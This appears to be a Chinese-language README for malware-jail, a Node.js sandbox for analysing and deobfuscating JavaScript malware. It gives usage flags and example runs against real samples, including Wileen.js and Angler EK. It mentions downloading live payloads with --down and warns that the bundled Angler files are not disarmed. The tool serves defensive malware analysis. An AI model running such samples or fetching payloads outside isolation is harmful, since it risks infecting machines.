malware-jail

用于半自动 JavaScript 恶意软件分析、反混淆和有效载荷提取的沙箱。基于 Node.js 编写。

malware-jail 基于 Node 的 'vm' 沙箱构建。目前已实现 WScript（Windows 脚本宿主）上下文 env/wscript.js，至少覆盖了恶意软件常用的部分。互联网浏览器上下文已部分实现 env/browser.js。

可在任何操作系统上运行。在 Linux 上开发并测试，Node.js v6.6.0。

由于使用了部分 ES6 特性，你需要 Node.js >= 6.x。

已分析的恶意软件样本请参见示例。

如果你有新的恶意软件样本，请通过 issue 或 pull request 提交至 javascript-malware-collection。

新特性

版本 0.19

将 WMI 查询枚举到文件：wmis.json

版本 0.17

新增参数：

--t404 - http 请求始终返回 HTTP/404 并抛出异常。这可以枚举所有远程 URL。

版本 0.16

URL 现在已保存到 urls.json。请参阅最新的示例#issue-14 恶意软件。

各种错误修复和改进。

版本 0.14

各种错误修复和改进。

版本 0.13

新增参数：

-t msecs - 将执行时间限制为 "msecs" 毫秒，默认 60 秒。
--h404 - http 请求始终返回 HTTP/404 且不抛出异常。这可以枚举所有远程 URL。

安装

你需要安装 Node.js 和 npm。

malware-jail 基于 minimist、iconv-lite 和 entities 构建。

从 GitHub 拉取

使用 git 拉取源码：

git clone https://github.com/HynekPetrak/malware-jail.git
cd malware-jail

然后使用以下命令安装所有依赖（minimist、entities、iconv-lite）：

npm install

NPM 包

暂不可用，即将推出……

警告

处理真实恶意软件时请务必小心。能识别此沙箱的恶意软件可能试图逃逸并危害你的电脑。建议在非特权 Linux 账户下或虚拟化的 Windows 机器中运行。 malware 文件夹中的 Angler 文件未被解除武装。

用法

bash@linux# node jailme.js -h -b list
7 May 20:54:52 - malware-jail, a malware sandbox ver. 0.19
7 May 20:54:52 - ------------------------
7 May 20:54:52 - Usage: node jailme.js  [[-e file1] [-e file2] .. ] [-c ./config.json] \
7 May 20:54:52 -                [-o ofile] [-b id] \
7 May 20:54:52 -                [-s odir] [--down] [malware1 [malware2] .. ]
7 May 20:54:52 -        -c config .. use alternative config file, preceed with ./
7 May 20:54:52 -        -e ifile ... js that simulates specific environment
7 May 20:54:52 -        -o ofile ... name of the file where sandbox shall be dumped at the end
7 May 20:54:52 -        -s odir  ... output directory for generated files (malware payload)
7 May 20:54:52 -        -b id    ... browser type, use -b list for possible values
7 May 20:54:52 -        -t msecs ... number of miliseconds before terminating execution, default 1 minute
7 May 20:54:52 -        --trace  ... print stack trace with every log line
7 May 20:54:52 -        --down   ... allow downloading malware payloads from remote servers
7 May 20:54:52 -        --h404   ... on download return always HTTP/404
7 May 20:54:52 -        malware  ... js with the malware code
7 May 20:54:52 - If no arguments are specified the default values are taken from config.json
7 May 20:54:52 - Possible -b values: [ 'IE11_W10', 'IE8', 'IE7', 'iPhone', 'Firefox', 'Chrome' ]

在示例文件夹中，你可以找到一个已停用的恶意软件文件。使用以下命令运行分析：

node jailme.js -c ./config_wscript_only.json --down=y malware/example.js

您可以测试基于互联网浏览器的恶意软件：

node jailme.js -b IE11_W10 malware/example_browser.js

分析结束时，完整的沙箱上下文会被转储到 _sandbox\_dump\_after.json_ 文件中。

你可能想检查 _sandbox\_dump\_after.json_ 中的以下条目：

eval_calls - 所有 eval() 调用的参数数组。如果 eval() 用于去混淆，此信息很有用。
wscript_saved_files - 恶意软件试图丢弃的所有文件的内容。实际文件也会保存到 output/ 目录。
wscript_urls - 恶意软件打算 GET 或 POST 的所有 URL。
wscript_objects - 创建的 WScript 或 ActiveX 对象。

_sandbox\_dump\_after.json_ 使用 JSONPath（通过 JSON-js/cycle.js 实现）来保存同一对象的重复或循环引用。

示例

malware 文件夹包含真实世界的恶意软件样本。大部分从 https://malwr.com 下载。

请参阅示例获取完整的恶意软件样本索引。

示例：分析 Wileen.js

从 malwr.com 获取恶意脚本：Wileen.js

显然，如果在浏览器中运行，该恶意软件不会执行：

if (typeof document == "undefined") {

因此，你可能想使用一个不加载浏览器/DOM 组件的备选配置文件：

node jailme.js --down=y -c ./config_wscript_only.json  malware/20161001/a6dfd6b83d46702c0b408bd5f669e08c785cd12fdd515fe469595e2a3d44ddc4.js

首先在不与远程服务器交互的情况下运行：

看起来是一种“标准”的去混淆行为，最终下载并执行一个 exe 二进制文件。

如果我们想获得真正的有效载荷，请使用 --down=y 运行：

 node jailme.js --down=y  malware/20160929/416e32e1b22ecb8f360ff841b87d77ac9450fda24458ce4e70abb35ff4d242a3.js > malware/20160929/416e32e1b22ecb8f360ff841b87d77ac9450fda24458ce4e70abb35ff4d242a3.out

示例：分析 Angler EK

从 ANGLER EK SENDS CRYPTOWALL 的 pcap 文件中下载并提取 Angler EK 到 malware/angler/angler_full.html。

剥离非 Angler 部分并保存为 malware/angler/angler_stripped.html。

移除 <script> 标签并将所需的 <div> 标签转换为：

document._addElementById(id, content);

然后保存为 malware/angler/angler.js。

运行分析：

node jailme.js malware/angler/angler.js
